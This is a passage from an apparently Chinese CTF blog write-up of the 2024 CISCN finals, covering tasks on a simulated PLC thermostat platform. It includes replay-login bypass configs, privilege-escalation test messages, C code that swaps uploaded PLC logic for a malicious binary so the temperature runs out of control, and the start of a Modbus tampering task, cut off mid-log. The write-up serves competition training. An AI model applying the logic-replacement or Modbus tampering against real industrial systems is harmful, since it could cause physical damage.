目录

  1. 1. 前言
  2. 2. Build
    1. 2.1. 新手任务
      1. 2.1.1. 背景应用了解
        1. 2.1.1.1. 模拟工程师登录流程
        2. 2.1.1.2. 模拟逻辑代码上传
        3. 2.1.1.3. 模拟二进制逻辑上传
        4. 2.1.1.4. 模拟PLC逻辑启动
        5. 2.1.1.5. 模拟操作员登录行为
        6. 2.1.1.6. 模拟操作员的一组plc操作
      2. 2.1.2. 身份认证安全测试
        1. 2.1.2.1. 中间人攻击
        2. 2.1.2.2. 挑战-应答机制
    2. 2.2. 攻击模拟任务
      1. 2.2.1. 越权访问
      2. 2.2.2. 恶意逻辑
      3. 2.2.3. modbus数据监听与篡改
    3. 2.3. 访问控制模拟任务
      1. 2.3.1. 角色验证
      2. 2.3.2. 角色权限限制
    4. 2.4. 密码保护模拟任务
  3. 3. CTF
  4. 4. AWDP
  5. 5. Web
    1. 5.1. ezjs
      1. 5.1.1. 预期
      2. 5.1.2. 非预期
      3. 5.1.3. fix
    2. 5.2. ShareCard(break复现)
      1. 5.2.1. fix
    3. 5.3. SolonMaster
      1. 5.3.1. fix(Failed)
    4. 5.4. Fobee(Unsolved)
  6. 6. Pwn-PHP(复现)
  7. 7. 渗透
    1. 7.1. ERP
    2. 7.2. WIN-OPS88
    3. 7.3. RODC(Unsolved)
    4. 7.4. Jinkens
    5. 7.5. Gitlab(TimeOut)
    6. 7.6. portal(Unsolved)
    7. 7.7. WIN-PC3788(Unsolved)
    8. 7.8. DC(Unsolved)
  8. 8. 游记(?
    1. 8.1. day0
    2. 8.2. day1
    3. 8.3. day2
    4. 8.4. 后日谈

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024CISCN决赛

2024/7/12 线下赛 Nodejs SSTI Java 内网 沙箱逃逸 jwt
  |     |   总文章阅读量:

前言

2024.7.20-21 成都

NISA-WhySerious 位37 全国二等奖

wp参考:

https://blog.hxzzz.asia/archives/192/

https://1llustrious.github.io/2024/07/25/CISCN%E4%B9%8B%E6%97%85/#%E5%9B%BD%E5%86%B3


Build

过…过样例?

本关考验你中译中的能力(x

我就看了前两个任务,队友tql,连通俩宵ak了build

image-20240721222456197

新手任务

背景应用了解

模拟工程师登录流程

在工程师用户(instance/engineer/user)目录下,编写engineer_login.msg, 填充工程师用户名与口令, 而后试运行users_login.sh,确认用户登录成功。

engineer_login.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":""
}

用json格式定义了cube架构中一个格式为(GENERAL_RETURN,STRING)的数据项,这个数据项是一个通用数据项,由两个字符串name和return_value组成:

  • name用来描述数据项的类型或用途,这里name取值为login,表示该数据项用于登录
  • return_value则填充该数据项具体内容,return_value的引号内则按照“用户名:口令”的方式填充内容

注:用户名和口令信息在管理中心工作目录(instance/monitor/center)里寻找

instance/monitor/center/user.list

{
	"type":"USER_DEFINE",
	"subtype":"SERVER_STATE"
}
{
	"user_name":"zhao",
	"role":"PLC_ENGINEER",
	"passwd":"123",
}
{
	"user_name":"qian",
	"role":"PLC_OPERATOR",
	"passwd":"456",
}
{
	"user_name":"sun",
	"role":"PLC_MONITOR",
	"passwd":"123",
}
{
	"user_name":"li",
	"role":"PLC_ENGINEER",
	"passwd":"123",
}
{
	"user_name":"zhou",
	"role":"PLC_OPERATOR",
	"passwd":"456",
}
{
	"user_name":"wu",
	"role":"PLC_OPERATOR",
	"passwd":"456",
}

于是填入engineer_login.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"zhao:123"
}

然后运行users_login.sh即可

image-20240712104227225


模拟逻辑代码上传

在2024buildup/src/logic/thermostat_logic目录下写了一个模拟PLC行为的代码,用其源码thermostat_logic.c来模拟PLC源码,其编译后的动态库libthermostat_logic.so来模拟PLC逻辑。请在工程师用户目录编写code_upload.msg,填写正确的上传代码信息,试运行并完成代码上传功能。

instance/engineer/user/code_upload.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"",
	"type":"FILE_CODE",
	"author":"zhao",
	"uploader":""
}

(PLC_ENGINEER,LOGIC_UPLOAD)数据结构:

元素名称 元素类型 元素大小 信息内容 备注
plc_devname 0结尾字符串 <=32字节 设备的名称
logic_filename 0结尾字符串 <=32字节 代码文件的名称
type ENUM 4字节 文件类型 使用enum_plc_file_type枚举
uuid UUID 32字节 代码的摘要值
author 0结尾字符串 <=32字节 代码作者的名称
uploader 0结尾字符串 <=32字节 上传行为执行者名称
time INT 4字节 上传行为执行时间

修改code_upload.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"thermostat_logic.c",
	"type":"FILE_CODE",
	"author":"zhao",
	"uploader":"zhao"
}

image-20240712110019651


模拟二进制逻辑上传

编辑task_1_1.sh,删除对应任务的sh前面的#号,打开注释行,并在工程师用户目录下编写bin_upload.msg,填写正确的plc逻辑信息,再运行task_1_1.sh,以实现模拟的二进制逻辑上传。

bin_upload.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"",
	"type":"",
	"author":"zhao",
	"uploader":"zhao"
}

先看一下type对应的枚举类型:

文件类型定义emu_plc_file_type(位于PLC模拟操作的plc_emu.json)

枚举项名称 枚举数值 内容 备注
FILE_CODE 0x01 代码文件
FILE_LOGIC 0x02 PLC逻辑文件 由对应代码文件生成
FILE_DESC 0x10 描述文件 保留待以后选用
FILE_RULE 0x20 制度文件 保留待以后选用

image-20240712111831356

修改bin_upload.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"libthermostat_logic.so",
	"type":"FILE_LOGIC",
	"author":"zhao",
	"uploader":"zhao"
}

image-20240712120702394


模拟PLC逻辑启动

编辑task_1_1.sh,打开“启动plc设备模拟”提示后面的注释项,运行task_1_1.sh

image-20240712121057598

观察plc设备工作目录instance/plc/device/下的message_log目录,发现其增加了logic_send.log文件

这里message_log目录记录的是各用例模拟运行的过程,logic_send则是在设备工作目录下配置的系统自动监控流程的模拟业务流

instance/plc/device/router_policy.cfg

image-20240712121529217

主要看下半部分

{
	"policy_head":
	{
		"name":"logic_send",
       	"type":"DELIVER",
        "sender":"logic",
	},
	"MATCH_RULES":
	[
		{"op":"OR","type":"MODBUS_CMD"},
	],
	"ROUTE_RULES":
	{
		"main_policy":[
			{"target_type":"LOCAL","target_name":"device"},
			{"target_type":"LOCAL","target_name":"logic"}
		]
	}
}

这里用消息路由来将多个模块的功能串起来模拟业务流程:

  • 开头部分描述了消息路由的名称、类型和起始模块

  • 中间部分表示当消息在起始模块位置时的格式和内容信息

    当起始模块生成消息(模块中用message_create函数生成,且最后激活消息参数设为NULL时)与其格式要求一致时(在这里就是消息类型为MODBUS_CMD,用来模拟modbus协议命令),会被识别为该路由的起始消息

  • 最后部分则说明消息先后通过device和logic模块后结束传递:它其实模拟了plc逻辑(用logic模块模拟)发出命令给device,由device处理后返回logic模块的过程

当系统模拟运行时,观察设备工作目录instance/plc/device中日志目录message_log中的logic_send.msg文件将显示该路由中的信息,由于该过程循环进行,因此可看到大量信息

image-20240712122119408


模拟操作员登录行为

在task_1_1.sh脚本的“启动hacker”提示、“启动操作员站”提示和“执行操作员登录行为”提示后面打开被注释的命令,并编辑操作员用户工作目录下的operator_login.msg,添加操作员用户的名称和口令信息,而后进行试登录。如登录成功,则表明通过该过程。

instance/operator/user/operator_login.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":""
}

和工程师登录一样,在return_value添加用户名:口令,用户要选择user.list里"role":"PLC_OPERATOR"

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"qian:456"
}

image-20240712122832291


模拟操作员的一组plc操作

打开task_1_1.sh最后几条注释掉的命令,然后,修改操作员用户工作目录下的plc_start.msg , plc_read_t.msg和plc_set_t.msg,分别实现打开plc温度调节开关,观察plc当前环境温度以及将plc恒温温度设置为39度(3900)的目标

instance/operator/user/plc_start.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ON",
	"action_desc":"",
	"value":0,
	"plc_operator":"qian",
}

instance/operator/user/plc_read_t.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"",
	"action_desc":"",
	"plc_operator":"qian",
}

instance/operator/user/plc_set_t.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"",
	"action_desc":"",
	"value":0,
	"plc_operator":"qian"
}

看一下(PLC_OPERATOR,PLC_CMD)数据结构的定义:

元素名称 元素类型 元素大小 信息内容 备注
plc_devname 0结尾字符串 <=32字节 设备的名称
action ENUM 4字节 操作员的行为 使用enum_plc_operator_action
action_desc 0结尾字符串 <=32字节 操作员行为描述 使用寄存器名称进行描述
value INT 4字节 寄存器设置的值
plc_operator 0结尾字符串 <=32字节 操作者的名称
time INT 4字节 操作时间

看一下操作员操作类型定义 enum_plc_operator_action(位于plc_emu.json)

枚举项名称 枚举数值 内容 备注
ACTION_ON 0x01 开启操作
ACTION_OFF 0x02 关闭操作
ACTION_MONITOR 0x03 监视操作 读取寄存器信息
ACTION_ADJUST 0x04 设置操作 调节恒温设置、档位设置

再看一下PLC设备寄存器设计:

寄存器名称 寄存器类型 寄存器地址 寄存器内容 备注
device_S coil 1 恒温箱开关 0为关闭,1为启动
set_T Holding Registers 40003 恒温数值要求 短整型
curr_T Input Registers 30004 恒温箱当前温度 短整型
heating_S Coil 2 电热丝开关 0为关,1为制热
heating_G Holding Registers 40005 电流档位 0-9档

修改plc_start.msg,打开plc温度调节开关(这里最逆天的是要开的是电热丝)

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ON",
	"action_desc":"heating_S",
	"value":1,
	"plc_operator":"qian",
}

修改plc_read_t.msg,观察plc当前环境温度

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"MONITOR",
	"action_desc":"curr_T",
	"plc_operator":"qian",
}

修改plc_set_t.msg,将plc恒温温度设置为39度(3900)

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ADJUST",
	"action_desc":"set_T",
	"value":3900,
	"plc_operator":"qian"
}

image-20240712204232928


身份认证安全测试

中间人攻击

系统在工程师站engineer_station和管理中心center之间插入了一个login_hacker实例,用该实例来模拟攻击行为。当前实例中使用了一个echo_plugin模块,该模块只是简单地转发收到的消息,不会产生攻击行为。

某攻击者开发了一个重放攻击模块login_hacker,该模块可以记录登录用户的名称与所使用的认证口令,如果攻击者使用登录过的用户名进行登录,并且在口令处使用攻击者预设的口令,则模块将自动使用以前记录的口令进行登录。

请用login_hacker模块替换echo_plugin模块,并且正确填写工程师用户目录下的engineer_login_nopass.msg,使攻击者可以在没有工程师用户口令的情况下在工程师站仿冒工程师进行登录。

cube架构的实例将准备使用的模块列在plugin_config.cfg文件中,每个选用的模块都有两个名字:

  • name表示实例中该模块的名称,在定义路由时使用这个名字,这个名字一般与模块在实例中的使用方式相关。

  • libname则是该模块开发时使用的名字,这个名字一般表现了开发者对其的定位。这里echo_pluginlogin_hacker都是libname

因为task_1_2.sh中的运行命令为:yes | cp -a instance/login_hacker/plugin_config.cfg.task_1_2 instance/login_hacker/plugin_config.cfg ,所以我们只需要修改 plugin_config.cfg.task_1_2 的 libname 即可

修改后的plugin_config.cfg.task_1_2:

{
        "name":"login_hacker",
        "libname":"login_hacker"
}

login_hacker模块的源码在 2024buildup/src/security 下面的某个同名目录中,以c语言编写,阅读其源码,可以找到所用的预设口令

src/security/login_hacker/login_hacker.c

image-20240712164109641

可知口令在这里是static char security_pass[32] = "Tclab2024";,即Tclab2024

拿到口令之后,修改 instance/engineer/user/engineer_login_nopass.msg,在口令处使用攻击者预设的口令

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"zhao:Tclab2024"
}

验证:

image-20240712170232030

可以看到第二次的时候成功登录


此外,也可以顺便了解下cube架构中模块的逻辑。cube架构的模块其结构比较清晰:

  • 一般用一个模块名+init的函数(称为模块的init函数)进行模块载入时的初始化操作

  • 一个模块名+start的函数(称为模块的start函数)作为模块的主体,持续进行循环,每次循环检查模块接收到的消息并进行处理。

    start函数根据消息的格式分流消息,让每种消息调用自己的专用操作函数。如果模块的几个处理流程共用同一种消息格式,则一般在消息处理函数中获取消息后,再根据消息内容进行第二次分流,一般而言,每个流程都有自己专门的处理函数


挑战-应答机制

为了防范中间人攻击,我们准备用挑战-应答机制来替换掉当前使用的口令字符串哈希的认证机制。当前使用的用户端登录处理模块login_user和服务端登录处理模块login_server本身就具备了支持挑战-应答机制的能力。请正确配置参数和路由,实现挑战-应答机制,以防范重放攻击行为

在 plugin_config.cfg 中定义模块时,可以使用init_para参数来为模块提供一些配置信息

配置信息的定义一般在模块的定义文件cfg中。如 login_user.cfg 中给出了init_para_desc的定义,定义中用mode值来表示模块采用哪一种登录机制。

plugin/login_user.cfg

{
"libname":"login_user",
"type":"MONITOR",
"dynamic_lib":"liblogin_user.so",
"init":"login_user_init",
"start":"login_user_start",
"init_para_desc":{
	"elem_no":1,
	"elem_desc":
		[
			{"name":"mode","type":"INT"}
		]
	}	
}

plugin模块定义时,可以用"init_para":{"mode":1}来表示模块选择了模式1

请通过阅读源码确定哪种模式是挑战应答模式,并在plugin_config.cfg中正确配置

直接全局搜索找到相关的代码

src/system/login_user/login_user.c

image-20240712174924813

可知是模式2,那么plugin_config.cfg.task_1_3:

{
        "name":"msg_send",
        "libname":"msgfile_send",
}
{
        "name":"msg_print",
        "libname":"msgrecord_print",
}
{
        "name":"file_dealer",
        "libname":"file_dealer"
}
{
        "name":"login_user",
        "libname":"login_user",
        "init_para":{
                "mode":2
        }
}
{
        "name":"logic_upload",
        "libname":"logic_upload"
}

挑战-应答机制中,用户和服务器之间会进行两次交互,而旧的消息路由只提供了一次交互流程,需要重新配置认证流程

旧的身份认证流程是用login路由来认证的,它由engineer/user,engineer/station和monitor_center中定义的login路由相互连接而形成,类型为QUERY,表示该路由为登录后返回的过程。

而在支持挑战-应答机制时,login_user在收到返回消息后,会生成状态为CHALLENGE格式的登录消息,这个消息将再次发送到server端并完成登录行为

我们把工程师站login_user收到用户登录消息后,发送消息给管理中心login_server,并获得挑战信息的过程看做是插入到原有登录过程中的新过程,就可以使用cube架构中的切面路由机制

这个机制定义的路由一般放在aspect_policy.cfg中,选项可定为ASPECT,是指在原路由中插入了一段处理过程,处理过程完成后回到原本路由。 用路由图来描述则如下所示:

图片1

切面路由将有自己的新名称,这里我们将新的切面路由命名为 challenge_login,在管理中心的路由配置文件中定义,可以把它当作是由切入点开始的QUERY格式路由(询问模式,发出消息抵达目标后原路返回),最终回到切入点,再重新执行原流程。

instance/engineer/station/aspect_policy.cfg

{
	"policy_head":
	{
		"name":"login",
       		"type":"ASPECT",
        	"sender":"login_user",
		"ljump": 2,
		"rjump":-2,
		"newname":"challenge_login"
	},
	"MATCH_RULES":
	[
		{
			"op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
		}
	],
	"ROUTE_RULES":
	{
		"main_policy":[
			{"target_type":"CONN","target_name":"center_client"},
		]
        	"response_policy":[
			{"target_type":"LOCAL","target_name":"login_user"}
        	]
	}
}
  • policy_head:拦截位置

  • name:被拦截路由

  • type有两种取值:

    复制(DUP)表示从原路由复制信息,不改变原路由传输方式

    拦截(ASPECT)则是让原路由转去新路由进行处理,完成处理后无异常情况则返回原路由途径

  • ljump表示是在本地路由的第几跳(生成/收到消息为第1跳,经过一个模块增加1跳,sender表示路由的发送者,这两个共同定义了路由的起始位置。rjump是一个准备被废弃或替代的参数,在这里的唯一作用是用负值表示拦截的是返回信息。

  • newname则表示复制或拦截路由所在的新路由名称,这里复制路由上的消息将沿着新路由传播,而拦截路由上的消息则在完成新路由并返回后,重新进入原路由,沿着拦截点继续传播。

  • MATCH_RULES中的内容表示切面触发时消息要满足的条件,ROUTE_RULES则指消息在新路由中传播的路径。这里的路由可以指向其它实例,在其它实例中与其对接的路由应当是与新路由名称一致的DELIVER格式路由(与DUP格式切面路由对接)或QUERY格式路由(与ASPECT格式路由对接)。

aspect_policy.cfg.task_1_3:直接复制./instance/engineer/station/plugin_config.cfg文件的内容就行,拦截-转发逻辑是预先写好的

image-20240712191107681


攻击模拟任务

越权访问

本过程由用户测试系统中可以进行越权访问的位置

本系统中,工程师、操作员和系统监视员除可执行规定允许的操作外,还有如下限制:

  1. 工程师可以登录操作员站和管理终端,但只能观察数据,不能执行调节温度等控制行为。
  2. 操作员可以登录管理终端,但只能观察数据,不能在监视终端执行调节温度等控制行为。
  3. 监视员可以登录操作员站,但只能观察数据,不能在监视终端执行调节温度等控制行为。
  4. 操作员和监视员均可登录工程师站,但不能执行代码上传和逻辑上传命令。

请在工程师站、操作员站和监视终端进行测试,找到可以违规操作的点

控制行为用调节温度到39度代表,参考操作员用户目录下的plc_set_t.msg

上传命令则用代码上传代表,参考工程师用户目录下的code_upload.msg

在工程师站、操作员站和管理终端各找到两个可违规操作点,按照下表创建违规登录与操作的组合消息:

位置 编号 登录(使用非合规用户) 操作(非合规用户执行违规操作) 备注
工程师用户 违规点1 attack_login1.msg attack_cmd1.msg
违规点2 attack_login2.msg attack_cmd2.msg
操作员用户 违规点3 attack_login3.msg attack_cmd3.msg
违规点4 attack_login4.msg attack_cmd4.msg
监视员用户 违规点5 attack_login5.msg attack_cmd5.msg
违规点6 attack_login6.msg attack_cmd6.msg

对上面的描述进行阅读理解,形成一个表格(byd这几句话真给我cpu干烧了)

登录操作员站 登录监视终端 登录工程师站 操作员站调节温度 监视终端调节温度 代码上传和逻辑上传
工程师
操作员
监视员

那么,违规的情况就是:

工程师站:

  • 操作员执行文件上传
  • 监视员执行文件上传

操作员站:

  • 工程师执行调节温度
  • 监视员执行调节温度

监视终端:

  • 操作员执行调节温度
  • 工程师执行调节温度

于是就能开始改文件了,用户名见user.list

attack_login1.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"qian:456"
}

attack_cmd1.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"thermostat_logic.c",
	"type":"FILE_CODE",
	"author":"qian",
	"uploader":""
}

attack_login2.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"sun:123"
}

attack_cmd2.msg

{
	"type":"PLC_ENGINEER",
	"subtype":"LOGIC_UPLOAD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"logic_filename":"thermostat_logic.c",
	"type":"FILE_CODE",
	"author":"sun",
	"uploader":""
}

image-20240713112158556

attack_login3.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"sun:123"
}

attack_cmd3.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ADJUST",
	"action_desc":"set_T",
	"value":3900,
	"plc_operator":"sun"
}

attack_login4.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"zhao:123"
}

attack_cmd4.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ADJUST",
	"action_desc":"set_T",
	"value":3900,
	"plc_operator":"zhao"
}

image-20240713112608105

attack_login5.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"zhao:123"
}

attack_cmd5.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ADJUST",
	"action_desc":"set_T",
	"value":3900,
	"plc_operator":"zhao"
}

attack_login6.msg

{
	"type":"GENERAL_RETURN",
	"subtype":"STRING",
	"mode":"INT"
}
{
	"name":"login",
	"return_value":"qian:456"
}

attack_cmd6.msg

{
	"type":"PLC_OPERATOR",
	"subtype":"PLC_CMD",
	"mode":"INT"
}
{
	"plc_devname":"thermostat",
	"action":"ADJUST",
	"action_desc":"set_T",
	"value":3900,
	"plc_operator":"qian"
}

image-20240713112954670


恶意逻辑

本任务显示攻击者通过用恶意逻辑替代正常逻辑对系统进行攻击的行为。

logic/hack_logic中,设置了恶意的温度逻辑,在10秒后将始终保持设置温度档位为最高档。这里hack_logic没有列在security的makefile中,需要单独编译,编译后,我们可以看到目录下会出现一个 libthermostat_logic.so 文件,这个文件是用来冒充合法逻辑的恶意逻辑文件。

请为file_replace模块填充文件替换代码,并通过修改模块配置文件和切面路由文件,拦截工程师站到plc的二进制逻辑文件传输过程(bin_upload路由),使得file_replace模块在合适位置发挥作用,将所传输的libthermostat_logic.so文件内容替换为hack_logic目录下的同名文件,从而导致系统运行一段时间后温度失控。

可以用task_2_2_1.sh脚本测试二进制逻辑上传过程,用task_2_2_2.sh脚本测试逻辑运行情况,该脚本启动后会5秒读一次温度状况,重复四次。


本题需要修改三个文件:

  • file_replace.c :在收到二进制逻辑传输命令后,将正常逻辑替换成hack_logic目录下的恶意逻辑
  • plugin_config.cfg.task_2_2 :在配置文件中添加file_replace模块
  • aspect_policy.cfg.task_2_2 :在bin_upload传输过程中插入file_replace模块,使其可以在上传代码时用hack_logic中恶意逻辑替换合法逻辑

涉及到两个模块需要接触

  • file_replace2024buildup/src/security/file_replace,需要编写file_replace.c 做到自动替换恶意模块
  • hack_logic 2024buildup/src/logic/hack_logic

手册的可读性太差,直接跑一个task_2_2_1.sh看看其日志文件再对着改

观察src/system/logic_upload/logic_upload.c的行为,看看是否有攻击的切入点

image-20240713120324134

在这个地方完成了文件的复制,然后再也没管过,也没有任何的校验措施。后续是连着文件名一起发了过去的,如果能对这个文件名指向的文件进行覆写应该就能成了

src/security/file_replace/file_replace.c

int bin_file_replace(void * sub_proc,void * recv_msg)
{
        int type;
        int subtype;
        int i;
        int ret;

        RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * bin_upload;
        ret=message_get_record(recv_msg,&bin_upload,0);
        if(ret<0)
                return ret;
        // 在这里添加文件替换代码

        void* c=message_clone(recv_msg);
        RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * logic_upload;
        RECORD(PLC_ENGINEER,LOGIC_CODE) * logic_code;
        RECORD(PLC_ENGINEER,LOGIC_BIN) * logic_bin;
        RECORD(PLC_ENGINEER,LOGIC_RETURN) * logic_return;
        MSG_EXPAND * msg_expand;

        message_get_record(c,&logic_upload,0);

        message_remove_expand(c,TYPE_PAIR(PLC_ENGINEER,LOGIC_BIN),&msg_expand);

        logic_bin = msg_expand->expand;

        puts(logic_upload->plc_devname);
        char* s=(char*)malloc(100);
        char* dic="0123456789abcdef";
        for(int i=0; i<DIGEST_SIZE; ++i){
                s[i<<1]=dic[(logic_upload->uuid[i]&0xf0)>>4];
                s[(i<<1)|1]=dic[logic_upload->uuid[i]&0xf];
        }
        s[DIGEST_SIZE<<1]=0;
        puts(s);
        int fsrc=open("/root/2024buildup/src/logic/hack_logic/libthermostat_logic.so",O_RDONLY);
        char* fn=(char*)malloc(100);
        Strcpy(fn,"logic_bin/");
        Strcat(fn,s);
        int fdst=open(fn,O_WRONLY);
        unsigned char* buf=(unsigned char*)calloc(DIGEST_SIZE<<5,1);
        int len=read(fsrc,buf,DIGEST_SIZE<<5);
        while(len>0){
                ret=write(fdst,buf,len);
                if(len<(DIGEST_SIZE<<5))break;
                len=read(fsrc,buf,DIGEST_SIZE<<5);
        }
        close(fsrc);
        close(fdst);
        free(s);
        free(fn);
        free(buf);
        //文件替换代码结束
        ex_module_sendmsg(sub_proc,recv_msg);

        return ret;
}

然后是撰写路由规则。plugin里面只需要把模块加进去即可。路由规则的话,直接跑一遍脚本然后看日志,决定在哪里搞切面。

instance/engineer/station/plugin_config.cfg.task_2_2

{
        "name":"msg_send",
        "libname":"msgfile_send",
}
{
        "name":"msg_print",
        "libname":"msgrecord_print",
}
{
        "name":"file_dealer",
        "libname":"file_dealer"
}
{
        "name":"login_user",
        "libname":"login_user",
        "init_para":{
                "mode":1
        }
}
{
        "name":"logic_upload",
        "libname":"logic_upload"
}
{
        "name":"file_replace",
        "libname":"file_replace"
}

instance/engineer/station/aspect_policy.cfg.task_2_2

{
        "policy_head":
        {
                "name":"login",
                "type":"ASPECT",
                "sender":"login_user",
                "ljump": 2,
                "rjump":-2,
                "newname":"challenge_login"
        },
        "MATCH_RULES":
        [
                {
                        "op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
                }
        ],
        "ROUTE_RULES":
        {
                "main_policy":[
                        {"target_type":"CONN","target_name":"center_client"},
                ]
                "response_policy":[
                        {"target_type":"LOCAL","target_name":"login_user"}
                ]
        }
}
{
        "policy_head":
        {
                "name":"bin_upload",
                "type":"ASPECT",
                "ljump": 2,
                "rjump": 2,
                "newname":"filereplace"
        },
        "MATCH_RULES":
        [
                {
                        "op":"AND","type":"PLC_ENGINEER","subtype":"LOGIC_UPLOAD"
                }
        ],
        "ROUTE_RULES":
        {
                "main_policy":[
                        {"target_type":"LOCAL","target_name":"file_replace"}
                ]
        }
}

跑验证脚本看看

image-20240713120528156

上传逻辑没问题

image-20240713120803696

温度上升,攻击成功


modbus数据监听与篡改

本任务演示对modbus协议数据的攻击行为,选手需要对modbus协议有基础的了解。

在modbus_hacker实例中,modbus_monitor模块接入到modbus主设备和从设备的通信线路中,准备窃听当前温度。窃听温度后不必输出,当温度超过43度时,模块应篡改回传的温度数值,使操作员和监视员看到的温度始终低于43度。

可以用operator_start.sh脚本观察modbus协议的输入输出,modbus_hacker实例的modbus_monitor模块会打印协议的输入输出信息。注意后续实验时,为测试访控和加密效果,modbus_monitor模块建议改回原版模块。


本题需要修改一个源码文件modbus_monitor.c :执行modbus协议数据窃听modbus协议温度数值并进行篡改攻击

核心效果,就是当温度高于43度的时候,将数据篡改为低于43度,以实现对温度监控的破坏

在本地运行operator_start.sh,获得一组用于分析的数据:

 get modbus data 12 bytes from client!
01 00 00 00 00 06 01 05 02 00 00 ff 
 get modbus data 12 bytes from server!
01 00 00 00 00 06 01 05 02 00 00 ff 
{
"plc_devname":"thermostat","action":"ON","action_desc":"heating_S","value":65280
,"result":0,"time":0}
 get modbus data 12 bytes from client!
02 00 00 00 00 06 01 04 34 75 01 00 
 get modbus data 11 bytes from server!
02 00 00 00 00 05 01 04 02 8c 10 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":423
6,"result":0,"time":0}
 get modbus data 12 bytes from client!
03 00 00 00 00 06 01 06 43 9c 3c 0f 
 get modbus data 12 bytes from server!
03 00 00 00 00 06 01 06 43 9c 3c 0f 
{
"plc_devname":"thermostat","action":"ADJUST","action_desc":"set_T","value":3900,
"result":0,"time":0}
 target T is 3900!
exit the proc! 
 get modbus data 12 bytes from client!
04 00 00 00 00 06 01 04 34 75 01 00 
 get modbus data 11 bytes from server!
04 00 00 00 00 05 01 04 02 9d 13 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":502
1,"result":0,"time":0}
 get modbus data 12 bytes from client!
05 00 00 00 00 06 01 03 45 9c 01 00 
 get modbus data 11 bytes from server!
05 00 00 00 00 05 01 03 02 09 00 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc! 
 get modbus data 12 bytes from client!
06 00 00 00 00 06 01 04 34 75 01 00 
 get modbus data 11 bytes from server!
06 00 00 00 00 05 01 04 02 12 1c 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":718
6,"result":0,"time":0}
 get modbus data 12 bytes from client!
07 00 00 00 00 06 01 03 45 9c 01 00 
 get modbus data 11 bytes from server!
07 00 00 00 00 05 01 03 02 09 00 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc! 
 get modbus data 12 bytes from client!
08 00 00 00 00 06 01 04 34 75 01 00 
 get modbus data 11 bytes from server!
08 00 00 00 00 05 01 04 02 b3 1e 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":785
9,"result":0,"time":0}
 get modbus data 12 bytes from client!
09 00 00 00 00 06 01 03 45 9c 01 00 
 get modbus data 11 bytes from server!
09 00 00 00 00 05 01 03 02 09 00 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc! 
 get modbus data 12 bytes from client!
0a 00 00 00 00 06 01 04 34 75 01 00 
 get modbus data 11 bytes from server!
0a 00 00 00 00 05 01 04 02 c2 1f 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":813
